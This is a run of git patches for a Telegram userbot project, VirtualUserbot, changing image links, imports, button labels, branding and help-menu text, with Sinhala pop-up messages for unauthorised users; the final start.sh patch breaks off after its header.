From a5a005208df5c9bafa36891f17378858a42137ae Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Mon, 21 Dec 2020 15:05:29 +0530
Subject: [PATCH 001/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 12 +++++-------
1 file changed, 5 insertions(+), 7 deletions(-)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index 0a244d18..ee6a8c78 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -5,14 +5,14 @@
from telethon import events, functions
from telethon.tl.functions.users import GetFullUserRequest
-from .sql_helper import pmpermit_sql as pmpermit_sql
+from .sql_helperimport pmpermit_sql as pmpermit_sql
from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT
from fridaybot.Configs import Config
from fridaybot.utils import friday_on_cmd
PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None)
if PMPERMIT_PIC is None:
- WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg"
+ WARN_PIC = "https://telegra.ph/file/53aed76a90e38779161b1.jpg"
else:
WARN_PIC = PMPERMIT_PIC
@@ -26,7 +26,6 @@
)
CUSTOM_MIDDLE_PMP = (
str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️"
-)
USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා"
botisnoob = Var.TG_BOT_USER_NAME_BF_HER
@@ -60,7 +59,7 @@ async def block(event):
await asyncio.sleep(3)
await event.delete()
- @command(pattern=".block$")
+ @borg.on(friday_on_cmd(pattern="block$"))
async def approve_p_m(event):
if event.fwd_from:
return
@@ -70,11 +69,10 @@ async def approve_p_m(event):
if event.is_private:
if pmpermit_sql.is_approved(chat.id):
pmpermit_sql.disapprove(chat.id)
- await event.edit(
+ await event.edit(
"Blocked [{}](tg://user?id={})".format(firstname, chat.id)
)
- await asyncio.sleep(3)
- await event.client(functions.contacts.BlockRequest(chat.id))
+ await event.client(functions.contacts.BlockRequest(chat.id))
@borg.on(friday_on_cmd(pattern="(da|disapprove)"))
async def approve_p_m(event):
From b6feb53e9a379f165755f93e4f20030c2efd3278 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Mon, 21 Dec 2020 15:06:15 +0530
Subject: [PATCH 002/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index ee6a8c78..23a8e9a6 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -12,7 +12,7 @@
PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None)
if PMPERMIT_PIC is None:
- WARN_PIC = "https://telegra.ph/file/53aed76a90e38779161b1.jpg"
+ WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg"
else:
WARN_PIC = PMPERMIT_PIC
From c427f2ec461103f65fbae230e966166479780a9b Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Mon, 21 Dec 2020 15:11:38 +0530
Subject: [PATCH 003/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index 23a8e9a6..6f759207 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -5,7 +5,7 @@
from telethon import events, functions
from telethon.tl.functions.users import GetFullUserRequest
-from .sql_helperimport pmpermit_sql as pmpermit_sql
+from .sql_helper import pmpermit_sql as pmpermit_sql
from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT
from fridaybot.Configs import Config
from fridaybot.utils import friday_on_cmd
From 7642961e22ab5f43a84f372f436a7162b138d618 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Mon, 21 Dec 2020 15:14:32 +0530
Subject: [PATCH 004/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index 6f759207..22b3ea49 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -26,6 +26,7 @@
)
CUSTOM_MIDDLE_PMP = (
str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️"
+)
USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා"
botisnoob = Var.TG_BOT_USER_NAME_BF_HER
From 85f71b3bb7121ca0194ef08308132c042ae3f617 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Mon, 21 Dec 2020 15:22:16 +0530
Subject: [PATCH 005/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index 22b3ea49..f6233bd7 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -5,7 +5,7 @@
from telethon import events, functions
from telethon.tl.functions.users import GetFullUserRequest
-from .sql_helper import pmpermit_sql as pmpermit_sql
+import fridaybot.modules.sql_helper.pmpermit_sql as pmpermit_sql
from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT
from fridaybot.Configs import Config
from fridaybot.utils import friday_on_cmd
From d9ac925699f49d3474067aa1e49ab7cf67acceb8 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 12:35:29 +0530
Subject: [PATCH 006/838] Update issue templates
---
.github/ISSUE_TEMPLATE/bug_report.md | 11 +++++++++++
1 file changed, 11 insertions(+)
create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md
diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 00000000..6824f3a2
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,11 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
From eb30febd997b2e62ba055d052e56355a72e22a23 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 13:06:50 +0530
Subject: [PATCH 007/838] Update Configs.py
---
fridaybot/Configs.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py
index 21c1b8ae..12063fe1 100644
--- a/fridaybot/Configs.py
+++ b/fridaybot/Configs.py
@@ -146,7 +146,7 @@ class Config(object):
"UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot"
)
ALIVE_IMAGE = os.environ.get(
- "ALIVE_IMAGE", "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg"
+ "ALIVE_IMAGE", "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png"
)
ASSISTANT_START_PIC = os.environ.get(
"ASSISTANT_START_PIC",
From 2a0891df37b194ec007b1cddab623c556a297905 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 13:08:17 +0530
Subject: [PATCH 008/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index f6233bd7..e6dbc961 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -12,7 +12,7 @@
PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None)
if PMPERMIT_PIC is None:
- WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg"
+ WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png"
else:
WARN_PIC = PMPERMIT_PIC
From 731209a977fb030e6777cc749bd9be0af2f5de38 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 13:08:51 +0530
Subject: [PATCH 009/838] Update bot_alive.py
---
fridaybot/modules/assistant/bot_alive.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/assistant/bot_alive.py b/fridaybot/modules/assistant/bot_alive.py
index 7ed63b8f..96f4e12d 100644
--- a/fridaybot/modules/assistant/bot_alive.py
+++ b/fridaybot/modules/assistant/bot_alive.py
@@ -16,7 +16,7 @@
from fridaybot.modules import currentversion
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown"
-PM_IMG = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg"
+PM_IMG = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png"
pm_caption = "➥ **ASSISTANT IS:** `ONLINE`\n\n"
pm_caption += "➥ **SYSTEMS STATS**\n"
pm_caption += "➥ **Telethon Version:** `1.15.0` \n"
From 64f9887034de47cd7a481342261365aa26f5d7b4 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 13:10:35 +0530
Subject: [PATCH 010/838] =?UTF-8?q?Virtual=20USERBOT=20=20=F0=9F=87=B1?=
=?UTF-8?q?=F0=9F=87=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
heroku_config.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/heroku_config.py b/heroku_config.py
index 564e3c48..f2905344 100644
--- a/heroku_config.py
+++ b/heroku_config.py
@@ -44,3 +44,4 @@ class Var(object):
class Development(Var):
LOGGER = True
+
From 045131de07452ea98be1ab7b7cfbd5fdff368edd Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 13:12:06 +0530
Subject: [PATCH 011/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index ddb83cbd..bca9996f 100644
--- a/README.md
+++ b/README.md
@@ -10,7 +10,7 @@
-
+
From f46811b688d4c2d2b747cf99e672ea196a31bb06 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Tue, 22 Dec 2020 20:53:43 +0530
Subject: [PATCH 012/838] Update pmpermit.py
---
fridaybot/modules/pmpermit.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py
index e6dbc961..5e6e25fe 100644
--- a/fridaybot/modules/pmpermit.py
+++ b/fridaybot/modules/pmpermit.py
@@ -5,7 +5,7 @@
from telethon import events, functions
from telethon.tl.functions.users import GetFullUserRequest
-import fridaybot.modules.sql_helper.pmpermit_sql as pmpermit_sql
+from .sql_helper import pmpermit_sql as pmpermit_sql
from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT
from fridaybot.Configs import Config
from fridaybot.utils import friday_on_cmd
From d7c0801cff7e9ec22ebb00187438b50fa26e2a37 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:05:08 +0530
Subject: [PATCH 013/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index ac21aabd..a9116a95 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -12,7 +12,7 @@
PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None)
if PMPERMIT_PIC is None:
- WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg"
+ WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png"
else:
WARN_PIC = PMPERMIT_PIC
LOG_CHAT = Config.PRIVATE_GROUP_ID
@@ -93,7 +93,7 @@ async def on_plug_in_callback_query_handler(event):
# https://t.me/TelethonChat/115200
await event.edit(buttons=buttons)
else:
- reply_pop_up_alert = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!"
+ reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!"
await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
@@ -104,14 +104,14 @@ async def on_plug_in_callback_query_handler(event):
)
async def on_plug_in_callback_query_handler(event):
if not event.query.user_id == bot.uid:
- sedok = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.."
+ sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.."
await event.answer(sedok, cache_time=0, alert=True)
return
plugin_name = event.data_match.group(1).decode("UTF-8")
if plugin_name in CMD_HELP:
help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}"
reply_pop_up_alert = help_string
- reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)** ".format(plugin_name)
+ reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](www.github.com/inukaasith/virtualuserbot)** ".format(plugin_name)
if len(reply_pop_up_alert) >= 4096:
crackexy = "`Pasting Your Help Menu.`"
await event.answer(crackexy, cache_time=0, alert=True)
@@ -162,7 +162,7 @@ async def rip(event):
@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme")))
async def sed(event):
if event.query.user_id != bot.uid:
- sedok = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්."
+ sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්."
await event.answer(sedok, cache_time=0, alert=True)
return
await event.answer("Back", cache_time=0, alert=False)
From 5710f1b91f88c7c71f8c8bc97b9394aef0509247 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:09:08 +0530
Subject: [PATCH 014/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index a9116a95..5ae9948e 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -111,7 +111,7 @@ async def on_plug_in_callback_query_handler(event):
if plugin_name in CMD_HELP:
help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}"
reply_pop_up_alert = help_string
- reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](www.github.com/inukaasith/virtualuserbot)** ".format(plugin_name)
+ reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot)** ".format(plugin_name)
if len(reply_pop_up_alert) >= 4096:
crackexy = "`Pasting Your Help Menu.`"
await event.answer(crackexy, cache_time=0, alert=True)
From d8f8eb0cbac698e93caa54f576b60c9290e0d228 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:14:28 +0530
Subject: [PATCH 015/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 5ae9948e..c71a1738 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -219,7 +219,7 @@ def paginate_help(page_number, loaded_modules, prefix):
helpable_modules = sorted(helpable_modules)
modules = [
custom.Button.inline(
- "{} {} {}".format("✘", x, "✘"), data="us_plugin_{}".format(x)
+ "{} {} {}".format("🏃♂️", x, "🏃♂️"), data="us_plugin_{}".format(x)
)
for x in helpable_modules
]
@@ -234,10 +234,10 @@ def paginate_help(page_number, loaded_modules, prefix):
] + [
(
custom.Button.inline(
- "Previous", data="{}_prev({})".format(prefix, modulo_page)
+ "Previous ⏪", data="{}_prev({})".format(prefix, modulo_page)
),
custom.Button.inline(
- "Next", data="{}_next({})".format(prefix, modulo_page)
+ "Next ⏩", data="{}_next({})".format(prefix, modulo_page)
),
)
]
From e7d6b73892c979e69583dc99f3701263ec355ec5 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:19:52 +0530
Subject: [PATCH 016/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index c71a1738..1ae280ee 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -219,7 +219,7 @@ def paginate_help(page_number, loaded_modules, prefix):
helpable_modules = sorted(helpable_modules)
modules = [
custom.Button.inline(
- "{} {} {}".format("🏃♂️", x, "🏃♂️"), data="us_plugin_{}".format(x)
+ "{} {} {}".format("❤️", x, "❤️"), data="us_plugin_{}".format(x)
)
for x in helpable_modules
]
@@ -234,8 +234,9 @@ def paginate_help(page_number, loaded_modules, prefix):
] + [
(
custom.Button.inline(
- "Previous ⏪", data="{}_prev({})".format(prefix, modulo_page)
+ "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page)
),
+ custom.Button.inline("Close", data="close"),
custom.Button.inline(
"Next ⏩", data="{}_next({})".format(prefix, modulo_page)
),
From b8dc7babba0ce3c39ef02b9ddb65765ca52167bf Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:29:30 +0530
Subject: [PATCH 017/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 1ae280ee..b47392ea 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -219,7 +219,7 @@ def paginate_help(page_number, loaded_modules, prefix):
helpable_modules = sorted(helpable_modules)
modules = [
custom.Button.inline(
- "{} {} {}".format("❤️", x, "❤️"), data="us_plugin_{}".format(x)
+ "{} {} {}".format("🏃♂️", x, "🏃♂️"), data="us_plugin_{}".format(x)
)
for x in helpable_modules
]
From 13973a8006344c644ba867ba3c8cac7112900743 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:30:49 +0530
Subject: [PATCH 018/838] Update __main__.py
---
fridaybot/__main__.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/fridaybot/__main__.py b/fridaybot/__main__.py
index d65bd33b..08a11d8d 100644
--- a/fridaybot/__main__.py
+++ b/fridaybot/__main__.py
@@ -50,10 +50,10 @@ async def add_bot(bot_token):
path1 = Path(f.name)
shortname = path1.stem
start_assistant(shortname.replace(".py", ""))
- sed.info("Friday And Assistant Bot Have Been Installed Successfully !")
+ sed.info("VirtualUserbot And Assistant Bot Have Been Installed Successfully !")
else:
- sed.info("Friday Has Been Installed Sucessfully !")
- sed.info("You Can Visit @FridayOT For Any Support Or Doubts")
+ sed.info("VirtualUserbot Has Been Installed Sucessfully !")
+ sed.info("You Can Visit @InfinityJE For Any Support Or Doubts")
if len(argv) not in (1, 3, 4):
bot.disconnect()
From 9780456091f5ee0f499aeb070bdea480be025fd3 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:32:37 +0530
Subject: [PATCH 019/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index b47392ea..a08524a1 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -236,7 +236,7 @@ def paginate_help(page_number, loaded_modules, prefix):
custom.Button.inline(
"⏪ Previous", data="{}_prev({})".format(prefix, modulo_page)
),
- custom.Button.inline("Close", data="close"),
+ custom.Button.inline("Close", data="backme"),
custom.Button.inline(
"Next ⏩", data="{}_next({})".format(prefix, modulo_page)
),
From 55edc2b5769782ec8c51b937ad9592173d3f4db6 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:37:24 +0530
Subject: [PATCH 020/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index a08524a1..b2179f63 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -236,7 +236,7 @@ def paginate_help(page_number, loaded_modules, prefix):
custom.Button.inline(
"⏪ Previous", data="{}_prev({})".format(prefix, modulo_page)
),
- custom.Button.inline("Close", data="backme"),
+ custom.Button.inline("Close", data="__close"),
custom.Button.inline(
"Next ⏩", data="{}_next({})".format(prefix, modulo_page)
),
From 634da06748bb70298065bb563b57762fd418b641 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:46:58 +0530
Subject: [PATCH 021/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 9 ++++++++-
1 file changed, 8 insertions(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index b2179f63..9f9216c0 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -168,7 +168,7 @@ async def sed(event):
await event.answer("Back", cache_time=0, alert=False)
# This Is Copy of Above Code. (C) @SpEcHiDe
buttons = paginate_help(0, CMD_HELP, "helpme")
- sed = f"""VirtualUserbots's Userbot Modules Are Listed Here !\n
+ sed = f"""VirtualUserbot Modules Are Listed Here !\n
For More Help or Support Visit @InfinityJE \nCurrently Loaded Plugins: {len(CMD_LIST)}"""
await event.edit(message=sed, buttons=buttons)
@@ -208,6 +208,13 @@ async def rip(event):
buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")],
)
+@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close")))
+async def on_plug_in_callback_query_handler(event):
+ if event.query.user_id == bot.uid:
+ await event.edit("menu closed")
+ else:
+ reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. "
+ await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
def paginate_help(page_number, loaded_modules, prefix):
number_of_rows = 8
From 215cf7f8af0ca0e83267fa45cf060c5bc7973d8f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:47:28 +0530
Subject: [PATCH 022/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 9f9216c0..90928895 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -226,7 +226,7 @@ def paginate_help(page_number, loaded_modules, prefix):
helpable_modules = sorted(helpable_modules)
modules = [
custom.Button.inline(
- "{} {} {}".format("🏃♂️", x, "🏃♂️"), data="us_plugin_{}".format(x)
+ "{} {} {}".format("🔅", x, "🔅"), data="us_plugin_{}".format(x)
)
for x in helpable_modules
]
From 222257c44dfa612d066b72c643c0efea47d6c855 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:52:19 +0530
Subject: [PATCH 023/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 90928895..dd0403c0 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -111,7 +111,7 @@ async def on_plug_in_callback_query_handler(event):
if plugin_name in CMD_HELP:
help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}"
reply_pop_up_alert = help_string
- reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot)** ".format(plugin_name)
+ reply_pop_up_alert += "\n\n**(C) VirtualUserbot** ".format(plugin_name)
if len(reply_pop_up_alert) >= 4096:
crackexy = "`Pasting Your Help Menu.`"
await event.answer(crackexy, cache_time=0, alert=True)
@@ -169,7 +169,7 @@ async def sed(event):
# This Is Copy of Above Code. (C) @SpEcHiDe
buttons = paginate_help(0, CMD_HELP, "helpme")
sed = f"""VirtualUserbot Modules Are Listed Here !\n
-For More Help or Support Visit @InfinityJE \nCurrently Loaded Plugins: {len(CMD_LIST)}"""
+For More Help or Support contact {DEFAULTUSER} \n\nCurrently Loaded Plugins: {len(CMD_LIST)}"""
await event.edit(message=sed, buttons=buttons)
@@ -243,7 +243,7 @@ def paginate_help(page_number, loaded_modules, prefix):
custom.Button.inline(
"⏪ Previous", data="{}_prev({})".format(prefix, modulo_page)
),
- custom.Button.inline("Close", data="__close"),
+ custom.Button.inline("Close", data="close"),
custom.Button.inline(
"Next ⏩", data="{}_next({})".format(prefix, modulo_page)
),
From 681aa924f2ffc275d5b1a9dd88173b07faa095b0 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:52:51 +0530
Subject: [PATCH 024/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index dd0403c0..57f5c780 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -169,7 +169,7 @@ async def sed(event):
# This Is Copy of Above Code. (C) @SpEcHiDe
buttons = paginate_help(0, CMD_HELP, "helpme")
sed = f"""VirtualUserbot Modules Are Listed Here !\n
-For More Help or Support contact {DEFAULTUSER} \n\nCurrently Loaded Plugins: {len(CMD_LIST)}"""
+For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}"""
await event.edit(message=sed, buttons=buttons)
From e88dfd841669c67ca42cd934f7308c4c2b0c357f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:53:29 +0530
Subject: [PATCH 025/838] Update _helper.py
---
fridaybot/modules/_helper.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py
index 42d5fe6f..d34008ce 100644
--- a/fridaybot/modules/_helper.py
+++ b/fridaybot/modules/_helper.py
@@ -29,8 +29,8 @@ async def cmd_list(event):
else:
await event.edit(input_str + " is not a valid plugin!")
else:
- help_string = """VirtualUserbot Modules Are Listed Here !\n
-For More Help or Support contact Devs @InfinityJE"""
+ help_string = f"""VirtualUserbot Modules Are Listed Here !\n
+For More Help or Support contact {DEFAULTUSER}"""
results = await bot.inline_query( # pylint:disable=E0602
tgbotusername, help_string
)
From e88ee9fa5e9abbc41e67fe4eb6b7f725919d3a40 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:55:18 +0530
Subject: [PATCH 026/838] Update _helper.py
---
fridaybot/modules/_helper.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py
index d34008ce..99b23378 100644
--- a/fridaybot/modules/_helper.py
+++ b/fridaybot/modules/_helper.py
@@ -1,5 +1,5 @@
-from fridaybot import CMD_LIST
-
+from fridaybot import CMD_LIST,ALIVE_NAME
+DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot"
@command(pattern="^.help ?(.*)")
async def cmd_list(event):
From 558e09f8de10b0c5cbe1ab72ce424e6bbf943122 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 08:59:57 +0530
Subject: [PATCH 027/838] Update start.sh
---
start.sh | 8 ++++----
